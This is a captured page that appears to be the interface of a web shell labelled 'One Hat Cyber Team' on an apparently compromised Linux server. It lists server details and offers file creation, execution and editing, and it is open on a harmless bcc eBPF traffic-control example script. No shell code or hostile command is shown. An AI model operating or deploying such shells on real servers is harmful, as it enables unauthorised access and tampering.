⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.144
Server IP:
157.245.143.252
Server:
Linux www 6.11.0-9-generic #9-Ubuntu SMP PREEMPT_DYNAMIC Mon Oct 14 13:19:59 UTC 2024 x86_64
Server Software:
nginx/1.26.0
PHP Version:
8.3.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
usr
/
share
/
doc
/
bpfcc-tools
/
examples
/
networking
/
Edit File: simple_tc.py
#!/usr/bin/python # Copyright (c) PLUMgrid, Inc. # Licensed under the Apache License, Version 2.0 (the "License") from bcc import BPF from pyroute2 import IPRoute ipr = IPRoute() text = """ int hello(struct __sk_buff *skb) { return 1; } """ try: b = BPF(text=text, debug=0) fn = b.load_func("hello", BPF.SCHED_CLS) ipr.link("add", ifname="t1a", kind="veth", peer="t1b") idx = ipr.link_lookup(ifname="t1a")[0] ipr.tc("add", "ingress", idx, "ffff:") ipr.tc("add-filter", "bpf", idx, ":1", fd=fn.fd, name=fn.name, parent="ffff:", action="ok", classid=1) ipr.tc("add", "sfq", idx, "1:") ipr.tc("add-filter", "bpf", idx, ":1", fd=fn.fd, name=fn.name, parent="1:", action="ok", classid=1) finally: if "idx" in locals(): ipr.link("del", index=idx) print("BPF tc functionality - SCHED_CLS: OK")
Simpan